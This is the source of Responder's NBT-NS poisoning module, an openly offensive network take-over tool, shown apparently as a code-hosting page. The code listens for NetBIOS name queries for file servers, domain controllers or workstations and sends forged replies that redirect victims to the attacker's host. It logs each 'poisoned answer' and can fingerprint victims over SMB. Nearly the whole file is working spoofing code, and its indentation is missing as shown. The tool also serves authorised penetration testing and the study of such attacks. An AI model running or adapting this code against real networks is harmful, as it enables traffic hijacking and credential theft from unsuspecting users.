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68 lines
2.4 KiB
Python
68 lines
2.4 KiB
Python
#!/usr/bin/env python
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# This file is part of Responder, a network take-over set of tools
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# created and maintained by Laurent Gaffie.
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# email: laurent.gaffie@gmail.com
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import fingerprint
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from packets import NBT_Ans
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from SocketServer import BaseRequestHandler
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from utils import *
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# Define what are we answering to.
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def Validate_NBT_NS(data):
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if settings.Config.AnalyzeMode:
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return False
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elif NBT_NS_Role(data[43:46]) == "File Server":
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return True
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elif settings.Config.NBTNSDomain:
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if NBT_NS_Role(data[43:46]) == "Domain Controller":
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return True
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elif settings.Config.Wredirect:
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if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
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return True
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return False
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# NBT_NS Server class.
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class NBTNS(BaseRequestHandler):
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def handle(self):
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data, socket = self.request
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Name = Decode_Name(data[13:45])
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# Break out if we don't want to respond to this host
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if RespondToThisHost(self.client_address[0], Name) is not True:
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return None
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if data[2:4] == "\x01\x10":
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Finger = None
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if settings.Config.Finger_On_Off:
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Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
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if settings.Config.AnalyzeMode: # Analyze Mode
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LineHeader = "[Analyze mode: NBT-NS]"
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print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
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else: # Poisoning Mode
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Buffer = NBT_Ans()
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Buffer.calculate(data)
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socket.sendto(str(Buffer), self.client_address)
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LineHeader = "[*] [NBT-NS]"
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print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
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if Finger is not None:
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print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
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print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
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